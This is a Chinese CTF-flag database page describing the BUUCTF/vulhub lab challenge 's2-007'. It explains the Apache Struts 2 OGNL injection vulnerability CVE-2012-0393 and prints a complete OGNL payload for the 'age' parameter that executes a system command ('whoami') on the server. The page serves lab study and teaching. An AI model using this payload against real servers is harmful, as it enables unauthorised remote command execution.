[随波逐流]CTF Flags

随波逐流信息安全网 www.1o1o.xyz

   [随波逐流]CTF Flags

软件版本:v1.0.0   数据版本: v20260526
返    回

[struts2]s2-007

 广告模块
ID: 7449
标题: [struts2]s2-007
描述: https://github.com/vulhub/vulhub/tree/master/struts2/s2-007
类型: Real
网站: BUUCTF
题目链接: https://buuoj.cn/challenges#[struts2]s2-007
赛事: struts2
年度: None
Flag值: 无:漏洞编号S2-007(或称CVE-2012-0393),是一个存在于Apache Struts 2.0.0至2.2.3版本中的远程代码执行(RCE)漏洞。漏洞的核心成因是:当应用配置了XML验证规则(如UserAction-validation.xml),且表单字段(如age字段)的类型转换出错(例如,在期望输入整数时提交了字符串),后端会错误地将用户输入拼接单引号(如' + value + '),然后对该拼接后的字符串进行OGNL表达式解析,导致攻击者可以注入并执行任意OGNL代码 1 2 3 5 6。典型的利用方式是构造一个包含恶意OGNL表达式的age参数值,例如' + (#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + ' 2 3 5 6,从而在服务器上执行任意系统命令。
writeup: 验证后的网址:https://blog.csdn.net/sycamorelg/article/details/117567176
答案错误,我要更正